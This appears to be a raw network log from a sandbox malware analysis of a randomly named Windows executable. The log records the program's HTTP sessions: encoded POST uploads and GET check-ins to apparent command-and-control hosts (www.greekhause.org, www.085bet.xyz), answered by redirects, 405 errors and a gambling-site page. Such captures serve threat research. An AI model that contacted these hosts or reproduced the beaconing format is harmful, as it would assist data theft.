43	192.168.2.7	49747	3.33.130.190	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:45.384926081 CEST	1779	OUT	POST /gxfy/ HTTP/1.1 Host: www.greekhause.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.greekhause.org Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.greekhause.org/gxfy/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 50 4b 67 36 6b 58 33 69 4e 6a 35 2b 2f 55 74 49 55 46 75 45 54 56 4a 44 6b 4d 57 46 2b 73 51 63 44 4d 64 6f 33 58 4a 67 5a 4a 75 4e 71 6e 6a 4d 6b 7a 2b 49 31 31 30 66 68 2f 44 32 49 71 66 49 39 6a 41 32 6a 5a 73 6f 56 4d 36 35 61 73 50 56 59 6c 36 52 79 48 39 66 72 62 34 76 69 2b 47 7a 39 66 4d 56 79 2b 6a 30 47 31 41 53 4a 38 70 51 54 66 48 4e 31 66 63 4c 32 50 56 69 4c 7a 36 57 34 61 37 62 62 34 7a 78 52 6b 52 74 45 38 6f 2f 75 48 6b 57 73 44 34 33 76 52 54 47 76 54 4b 53 62 76 41 6f 4e 74 30 34 47 68 71 5a 54 79 44 4c 33 45 6b 66 44 39 31 2b 45 44 75 36 39 35 79 50 70 35 39 44 39 4e 77 46 6c 50 4b 4b 63 4a 5a 6d 4d 6d 48 43 79 56 31 56 6f 6d 76 30 6d 48 35 35 2b 68 43 2f 49 77 4d 59 45 6d 70 67 6d 6d 57 6b 49 6b 42 38 2f 75 37 4c 37 6f 47 4a 67 57 55 74 7a 6f 41 47 33 70 33 7a 57 79 47 51 47 63 77 77 53 4b 62 6d 4a 59 55 35 4a 76 63 59 33 50 65 66 51 44 73 67 46 49 4c 53 68 57 52 78 39 45 35 51 75 45 4b 68 7a 4a 4b 72 30 53 49 30 46 52 38 6a 54 58 6e 61 57 75 63 73 54 4f 42 50 4e 63 54 [TRUNCATED] Data Ascii: 76=PKg6kX3iNj5+/UtIUFuETVJDkMWF+sQcDMdo3XJgZJuNqnjMkz+I110fh/D2IqfI9jA2jZsoVM65asPVYl6RyH9frb4vi+Gz9fMVy+j0G1ASJ8pQTfHN1fcL2PViLz6W4a7bb4zxRkRtE8o/uHkWsD43vRTGvTKSbvAoNt04GhqZTyDL3EkfD91+EDu695yPp59D9NwFlPKKcJZmMmHCyV1Vomv0mH55+hC/IwMYEmpgmmWkIkB8/u7L7oGJgWUtzoAG3p3zWyGQGcwwSKbmJYU5JvcY3PefQDsgFILShWRx9E5QuEKhzJKr0SI0FR8jTXnaWucsTOBPNcT9NSqHFCTncK/B5necP44j3zSdFFmoqA5ymfCqFrJUXMR0OjEZY/nn5t5EAQWgBiHqdH3Za9a793/k7pvOxNIUUiRItvoHnCfyh7eVnzREaKVsitmaHHgMw5Ed7bKOZP/xUZv8c+mArGE8PZgzBKCmLTLwSX44EUL4GWnQb61MdmV7W3tMBJvmHXHwk0hS4aYOgAi6ElXDNntDN5d8wU+RTjkZDoqfdBzRrnxQMcnp29U3izionQUc+NMPhtgTxkJ3ZiWs1m3NdoUOxVhm7XeCzj4xSfq7PEb6zRqNotBTs+rGj1WDQOkwrzLW7SW/unModQr+ei8SEnxCp0iIHHZyft6lZvEeF+qJ82xhkxmma4opxpz8gH1OtNGDztyBVREjTL8kkB0aVX9pS0aVFxubHT4mbcg145fBfHaHVYAV5e13/+K5wqoaH0cxaB9DtIlpWEnEazCvbH4mcW71bcRVk9/yp9TGXedQ6t4POJ6G0RClsdlKyGhIEb4R8+3bLe9GD+DlX9zgQm4wxL6Qk3IOQ5aYYAvsqbzyjXd0SFnYuSYaVSyjAw5F+AvSkbko2BCnHUjz0K/Ir52BILu50+8NlgeFUvgNdfv8QiY2Zj7V084bhvzqhKl49t+Xft2s3qUXTPBWVa0JxFao6/FmFpgaPToMxQP12kjQ2 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49748	3.33.130.190	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:47.920305014 CEST	479	OUT	GET /gxfy/?76=CIIanhHRMgNozks5RGfJdUNX3+emzbgNf/VP7kRsN6vN0WzMvG3G9UIg+8jiJKvurCAh0c8eANy2Q8bdeXyR4StCmoJcjfzG5pIm3u+OPQ8SG4xTUPnFxO8c++BkIyDygdbta7ejYT5g&mtJD_=fvdlJ2L HTTP/1.1 Host: www.greekhause.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:39:48.399159908 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 23 Sep 2024 12:39:48 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 36 3d 43 49 49 61 6e 68 48 52 4d 67 4e 6f 7a 6b 73 35 52 47 66 4a 64 55 4e 58 33 2b 65 6d 7a 62 67 4e 66 2f 56 50 37 6b 52 73 4e 36 76 4e 30 57 7a 4d 76 47 33 47 39 55 49 67 2b 38 6a 69 4a 4b 76 75 72 43 41 68 30 63 38 65 41 4e 79 32 51 38 62 64 65 58 79 52 34 53 74 43 6d 6f 4a 63 6a 66 7a 47 35 70 49 6d 33 75 2b 4f 50 51 38 53 47 34 78 54 55 50 6e 46 78 4f 38 63 2b 2b 42 6b 49 79 44 79 67 64 62 74 61 37 65 6a 59 54 35 67 26 6d 74 4a 44 5f 3d 66 76 64 6c 4a 32 4c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?76=CIIanhHRMgNozks5RGfJdUNX3+emzbgNf/VP7kRsN6vN0WzMvG3G9UIg+8jiJKvurCAh0c8eANy2Q8bdeXyR4StCmoJcjfzG5pIm3u+OPQ8SG4xTUPnFxO8c++BkIyDygdbta7ejYT5g&mtJD_=fvdlJ2L"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49749	154.198.53.36	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:53.632194996 CEST	734	OUT	POST /1zd7/ HTTP/1.1 Host: www.085bet.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.085bet.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.085bet.xyz/1zd7/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 57 41 64 34 4c 6d 4f 56 69 4b 6b 45 46 6a 4c 4e 6f 4d 4a 6a 72 36 66 63 59 2b 49 4a 6f 34 63 2f 7a 38 47 71 73 47 48 5a 52 42 4e 56 31 73 45 31 68 66 55 50 4e 76 71 48 4e 4f 73 44 70 49 51 35 45 4f 44 4e 49 77 41 37 50 6b 2f 35 4e 4f 38 5a 45 63 64 59 72 39 58 70 37 34 74 5a 42 35 6f 37 45 35 75 36 34 4f 57 4a 47 49 4d 55 43 56 44 55 54 56 43 58 5a 54 61 4b 6a 44 54 56 54 6b 77 46 58 34 6f 73 70 54 79 4b 36 78 73 63 36 64 79 62 4d 57 71 42 2f 72 62 6f 74 77 4a 4f 75 47 65 44 34 2f 2f 4b 57 30 47 69 62 51 2b 56 61 69 4c 7a 5a 2b 36 7a 44 69 2f 6b 30 62 63 4d 65 33 59 79 6d 6d 38 50 74 76 79 59 65 2f 5a 7a 39 6f 66 30 42 77 3d 3d Data Ascii: 76=WAd4LmOViKkEFjLNoMJjr6fcY+IJo4c/z8GqsGHZRBNV1sE1hfUPNvqHNOsDpIQ5EODNIwA7Pk/5NO8ZEcdYr9Xp74tZB5o7E5u64OWJGIMUCVDUTVCXZTaKjDTVTkwFX4ospTyK6xsc6dybMWqB/rbotwJOuGeD4//KW0GibQ+VaiLzZ+6zDi/k0bcMe3Yymm8PtvyYe/Zz9of0Bw==
Sep 23, 2024 14:39:54.540385962 CEST	729	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html Date: Mon, 23 Sep 2024 12:39:54 GMT Server: openresty X-Cache: BYPASS Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49750	154.198.53.36	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:56.205401897 CEST	754	OUT	POST /1zd7/ HTTP/1.1 Host: www.085bet.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.085bet.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.085bet.xyz/1zd7/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 57 41 64 34 4c 6d 4f 56 69 4b 6b 45 55 7a 62 4e 76 74 4a 6a 70 61 66 54 47 75 49 4a 6d 59 63 6b 7a 38 4b 71 73 45 72 7a 52 55 6c 56 30 4e 30 31 67 62 41 50 49 76 71 48 47 75 73 4b 33 34 51 75 45 4f 50 76 49 31 34 37 50 67 76 35 4e 4d 30 5a 45 74 64 58 74 74 58 72 7a 59 74 58 4c 5a 6f 37 45 35 75 36 34 4f 54 69 47 49 45 55 43 46 54 55 53 78 57 55 52 7a 61 4a 67 44 54 56 5a 45 77 4a 58 34 70 35 70 53 75 7a 36 79 55 63 36 63 69 62 4d 43 47 43 32 72 62 75 68 67 49 78 74 45 4c 4c 2f 39 53 6f 56 43 7a 2f 65 7a 79 46 62 55 57 52 44 63 32 66 64 7a 48 66 77 5a 34 36 4a 52 46 48 6b 6e 34 58 67 4e 47 35 42 49 38 5a 77 36 2b 77 58 42 44 62 6f 58 4e 49 4b 6f 4e 56 4b 55 48 78 39 31 52 4c 78 45 55 3d Data Ascii: 76=WAd4LmOViKkEUzbNvtJjpafTGuIJmYckz8KqsErzRUlV0N01gbAPIvqHGusK34QuEOPvI147Pgv5NM0ZEtdXttXrzYtXLZo7E5u64OTiGIEUCFTUSxWURzaJgDTVZEwJX4p5pSuz6yUc6cibMCGC2rbuhgIxtELL/9SoVCz/ezyFbUWRDc2fdzHfwZ46JRFHkn4XgNG5BI8Zw6+wXBDboXNIKoNVKUHx91RLxEU=
Sep 23, 2024 14:39:57.104795933 CEST	729	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html Date: Mon, 23 Sep 2024 12:39:56 GMT Server: openresty X-Cache: BYPASS Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49751	154.198.53.36	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:58.801799059 CEST	1767	OUT	POST /1zd7/ HTTP/1.1 Host: www.085bet.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.085bet.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.085bet.xyz/1zd7/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 57 41 64 34 4c 6d 4f 56 69 4b 6b 45 55 7a 62 4e 76 74 4a 6a 70 61 66 54 47 75 49 4a 6d 59 63 6b 7a 38 4b 71 73 45 72 7a 52 53 39 56 30 2b 73 31 67 35 6f 50 50 76 71 48 46 75 73 48 33 34 51 76 45 4f 58 72 49 31 38 72 50 69 6e 35 4e 70 67 5a 50 2f 6c 58 6b 74 58 72 2f 34 74 61 42 35 6f 79 45 35 65 2b 34 4f 6a 69 47 49 45 55 43 44 2f 55 62 46 43 55 58 7a 61 4b 6a 44 54 52 54 6b 78 63 58 34 68 70 70 52 43 38 36 44 30 63 36 38 53 62 4f 78 2b 43 39 72 62 73 69 67 49 70 74 45 58 45 2f 39 66 45 56 47 79 59 65 78 69 46 62 7a 6d 47 5a 73 32 43 4a 56 4b 44 36 62 30 42 48 78 56 6d 71 6b 6b 52 68 73 6e 65 43 71 77 6e 35 38 65 2f 46 6e 58 62 77 46 4e 62 50 39 52 42 46 44 4f 30 6b 67 5a 68 74 69 56 78 71 30 6f 49 4e 69 68 61 63 34 77 65 4e 39 58 30 68 2f 58 31 72 74 44 77 33 31 76 54 65 6c 41 7a 73 75 54 76 64 7a 6b 62 72 43 79 61 51 58 65 6f 43 4a 2f 77 54 4c 4b 2b 32 76 31 66 37 43 56 34 51 74 45 47 59 39 47 59 42 36 6e 47 78 65 4a 38 4d 32 59 70 4d 65 65 49 4a 4f 56 59 76 6b 64 30 65 66 38 79 51 45 75 [TRUNCATED] Data Ascii: 76=WAd4LmOViKkEUzbNvtJjpafTGuIJmYckz8KqsErzRS9V0+s1g5oPPvqHFusH34QvEOXrI18rPin5NpgZP/lXktXr/4taB5oyE5e+4OjiGIEUCD/UbFCUXzaKjDTRTkxcX4hppRC86D0c68SbOx+C9rbsigIptEXE/9fEVGyYexiFbzmGZs2CJVKD6b0BHxVmqkkRhsneCqwn58e/FnXbwFNbP9RBFDO0kgZhtiVxq0oINihac4weN9X0h/X1rtDw31vTelAzsuTvdzkbrCyaQXeoCJ/wTLK+2v1f7CV4QtEGY9GYB6nGxeJ8M2YpMeeIJOVYvkd0ef8yQEuq/fUAk8dcfrb0xGiykwM8JAoQZcjT4KKz7QzlSBMJCNsm7r8jQXR6otifxVuhTTRk6OHRTKN131a8kjNKgWKssZMPnilLW9IJ2a4uPx5rMArRP5p7Qx+tgke0REvNqCkOVbc7IRjT5GGPeQdZj9ihjkAo2w5erSlA+/Ojj4kWjCMVoacQdD/Ho3uvo9WyQ/6BCswOQYbFp5Qquk1D8FGComwEBqOc00J/8laUdyN32xLZELW5MfSfw+4DIS7uxpbOx3SHL5+bNw2HKBmDTqwY5UAIJ6D1OnbNgAdJp2WJv0myVZ7o+Vzei23ZnJyToeolYFtG2p7nQPh/+Fw7C1iahL6fFusMeYNsbYCHHchThzXCoLzotppDAT0lLMe9nY5tzRt5dS97F/2Br83KWljuHQ7/4SXp5oiYSr1HqNd8/b2knHx2Cf1JsuPnRLrg4daXGXoGr7gXYuIHa2Pt+56jnmDaxZKM59hfaLPpauSsDSLraNX0HvOhG3cW6bNO/L+tYE5WgI9E8f44dIXlULvSh/Gr0jKmeaeRffkw1p70Fdah2oxsKcZr9UWjl3aT+gAtTLDdAsHnWsWzzltMeiYLkVaLsrkd7hyZXuSBN/GZkLgpCmiV0Dlao0ZYCImuE1AKVRUVmNrk7H7eXSw8UyjX8YQdy1YwgnW7L [TRUNCATED]
Sep 23, 2024 14:39:59.933331966 CEST	729	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html Date: Mon, 23 Sep 2024 12:39:59 GMT Server: openresty X-Cache: BYPASS Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49752	154.198.53.36	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:40:01.342526913 CEST	475	OUT	GET /1zd7/?76=bC1YIRSSuZYlVnS9hsNuhorKbcQ6ntdnx8KhpmCqECpWzN5SjPNMNLi+QdUYzo4UT/zMJg8CHwvIOMobHOZol4uZ599UMLQvIcSN6ebgMaMOQVLVUFO0QXCtqgKNb3wKU9pkkDiIxWQO&mtJD_=fvdlJ2L HTTP/1.1 Host: www.085bet.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:40:02.265130997 CEST	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html Date: Mon, 23 Sep 2024 12:40:02 GMT Server: openresty Vary: Accept-Encoding X-Cache: BYPASS Connection: close Transfer-Encoding: chunked Data Raw: 31 66 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 20 64 61 74 61 2d 62 75 69 6c 64 74 69 6d 65 3d 22 37 2f 31 34 2f 32 30 32 34 2c 20 32 31 3a 32 37 3a 32 37 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6e 65 78 74 2d 66 6f 6e 74 2d 70 72 65 63 6f 6e 6e 65 63 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 6e 64 65 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 63 65 2d 72 65 6e 64 65 72 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 7a 68 2d 43 4e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 [TRUNCATED] Data Ascii: 1f1e<!DOCTYPE html><html lang="zh-CN" data-buildtime="7/14/2024, 21:27:27"> <head> <meta charset="utf-8"> <title></title> <meta name="next-font-preconnect"> <meta name="renderer" content="webkit"> <meta name="force-rendering" content="webkit"> <meta http-equiv="Content-Language" content="zh-CN"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="theme-color" content="#fff"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-touch-fullscreen" content="yes"> <meta name="referrer" content="origin"> <meta name="x5-orientation" content="portrait"> <meta name="google" content="notranslate"> <meta name="screen-orientation" content="portrait"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no,viewport-fit=cover"> ... --> <style> .con { width: 100% [TRUNCATED]
Sep 23, 2024 14:40:02.265156031 CEST	1236	IN	Data Raw: 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 63 6d 73 2d 70 72 69 6d 61 72 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 29 3b 0a 20 20 20 20 20 20 Data Ascii: height: 100%; background: var(--cms-primary-background-color); position: fixed; left: 0; top: 0; display: flex; justify-content: center; align-items: center; } .loading {
Sep 23, 2024 14:40:02.265162945 CEST	1236	IN	Data Raw: 20 20 20 20 2e 61 6e 74 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 2c 0a 20 20 20 20 20 20 2e 61 6e 74 69 63 6f 6e 2d 63 68 65 63 6b 2d 63 69 72 63 6c 65 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f Data Ascii: .anticon-exclamation-circle, .anticon-check-circle { display: none !important; } .ant-message-error .anticon { background: #cf2f22 !important; color: white !important; border-radius: 16px;
Sep 23, 2024 14:40:02.265726089 CEST	672	IN	Data Raw: 28 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 20 28 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 20 22 5f 54 5f 22 2c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 66 69 67 75 72 61 Data Ascii: () : (t.defineProperty(t.prototype, "_T_", { configurable: !0, get: e, }), _T_)); })(Object); </script> <script> window.CONFIG={"name":"kc352-1","
Sep 23, 2024 14:40:02.265733957 CEST	1236	IN	Data Raw: 61 74 69 6f 6e 22 3a 22 6d 69 6e 65 22 7d 5d 2c 22 6d 6f 62 69 6c 65 4d 69 6e 65 53 77 69 74 63 68 4c 69 73 74 22 3a 5b 22 67 72 78 78 22 2c 22 67 72 7a 6c 22 2c 22 77 64 78 78 22 2c 22 7a 6a 6d 78 22 2c 22 63 7a 64 64 22 2c 22 74 78 64 64 22 2c Data Ascii: ation":"mine"}],"mobileMineSwitchList":["grxx","grzl","wdxx","zjmx","czdd","txdd","zdxq","sssz","ssgg","bsjg","zzxx","dlzq","yuebao","jiebei"],"sportConfig":{"svgSpriteName":"template_2","templateName":"template_2"},"isAgent":false}; </scr
